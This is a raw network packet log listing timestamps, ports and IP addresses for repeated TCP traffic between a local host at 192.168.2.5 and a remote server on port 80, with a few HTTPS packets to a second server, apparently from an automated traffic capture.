Nov 12, 2024 06:23:36.172311068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172322035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172332048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172336102 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172367096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172375917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172385931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172394991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172400951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172411919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172434092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172435045 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172444105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172456026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172470093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172472000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172482967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172488928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172492027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172507048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172518969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172528982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172533989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172550917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172688007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172720909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172739983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172749996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172775984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172776937 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172786951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172791958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172797918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172802925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172806025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172816038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172818899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172837973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172859907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172878981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172889948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172899961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172909975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172914982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172929049 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172938108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.173319101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173330069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173341036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173351049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173352957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.173367977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.173398972 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.173574924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173585892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173603058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173610926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.173609018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.173639059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.188909054 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:36.189064980 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:36.189117908 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:36.190324068 CET	54545	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:36.190332890 CET	443	54545	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:36.192559958 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:36.192589998 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:36.192648888 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:36.192846060 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:36.192859888 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:36.214087009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.214128971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.214137077 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.214138985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.214149952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.214175940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.218034029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.218050003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.218061924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.218070984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.218079090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.218081951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.218092918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.218097925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.218137026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.259746075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.259758949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.259778976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.259799957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.260040998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.265499115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.265511036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.265522003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.265539885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.265561104 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285609007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285631895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285641909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285655022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285670042 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285679102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285689116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285720110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285729885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285733938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285748005 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285768032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285773039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285788059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285799980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285815954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285845995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.285985947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.285996914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286007881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286035061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286056042 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286072969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286109924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286140919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286153078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286173105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286184072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286185026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286204100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286207914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286212921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286222935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286236048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286242962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286246061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286257029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286262035 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286267042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286286116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286286116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286295891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286310911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286325932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286334991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286336899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286358118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286387920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286392927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286406040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286423922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286433935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286439896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286441088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286459923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286474943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286472082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286499023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286509037 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286514044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286525011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286536932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286547899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286556005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286571980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286591053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286597967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286608934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286618948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286633968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286662102 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286708117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286719084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286730051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286748886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286780119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286926031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286936045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286946058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286967993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286978960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.286983967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.286988974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287003994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287014961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287018061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287046909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287085056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287101984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287112951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287122965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287132978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287133932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287143946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287147045 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287156105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287166119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287173033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287192106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287195921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287205935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287218094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287218094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287235975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287237883 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287245989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287255049 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287281036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287281990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287332058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287341118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287352085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287360907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287377119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287563086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287574053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287585020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287600040 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287615061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287643909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287656069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287689924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287725925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287739038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287756920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287765980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287767887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287777901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287782907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287789106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287797928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287818909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287863970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287882090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287889957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287894964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287897110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287914038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287924051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287934065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287944078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287944078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287955046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.287976027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.287988901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288039923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288049936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288059950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288069010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288079023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288079977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288115025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288116932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288125038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288130045 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288151026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288156986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288161993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288165092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288192034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288213968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288467884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288480043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288491964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288508892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288532972 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288714886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288729906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288747072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288753986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288758993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288769960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288773060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288784027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288784981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288803101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288813114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288815975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288824081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.288837910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.288856983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.329559088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.329570055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.329586029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.329597950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.329607964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.329651117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.333283901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.333306074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.333317041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.333355904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.333367109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.333378077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.333379030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.333389044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.333412886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.373826027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.373837948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.373851061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.373862028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.373867989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.373893976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.373914003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.380698919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.380749941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.380760908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.380794048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.380826950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.400809050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.400863886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.400863886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.400877953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.400893927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.400927067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.400984049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.400993109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401002884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401021957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401061058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401067972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401076078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401084900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401094913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401103973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401123047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401242971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401287079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401298046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401310921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401319027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401331902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401343107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401349068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401387930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401429892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401438951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401448965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401465893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401474953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401477098 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401488066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401495934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.401499033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401506901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401521921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.401637077 CET	80	49779	185.215.113.206	192.168.2.5
